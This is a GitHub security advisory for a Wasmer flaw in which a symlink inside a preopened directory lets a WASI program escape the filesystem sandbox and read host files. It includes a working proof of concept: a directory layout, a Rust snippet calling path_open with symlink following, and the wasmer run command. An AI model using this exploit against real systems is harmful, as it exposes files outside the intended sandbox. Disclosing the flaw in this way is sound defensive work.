GHSA-55f3-3qvg-8pv5
Symlink bypasses filesystem sandbox
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.
### Details
### PoC
Setup a filesystem as follows.
```
.
├── outside.file
└── preopen
└── dir
└── file -> ../../outside.file
```
Compile this Rust snippet with `wasi` v0.11 (for the preview1 API).
```rust
fn main() {
unsafe {
let filefd = wasi::path_open(
5,
wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
"app/dir/file",
wasi::OFLAGS_CREAT,
wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
0,
0,
)
.unwrap();
eprintln!("filefd: {filefd}");
let mut buf = [0u8; 10];
let iovs = [wasi::Iovec {
buf: buf.as_mut_ptr(),
buf_len: buf.len(),
}];
let read = wasi::fd_read(filefd, &iovs).unwrap();
eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
}
}
```
Run the compiled binary with Wasmer preopening `preopen/`:
```
wasmer run --mapdir /app:preopen a.wasm
```
This should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.
References
External links from the advisory. They lead to third-party sites.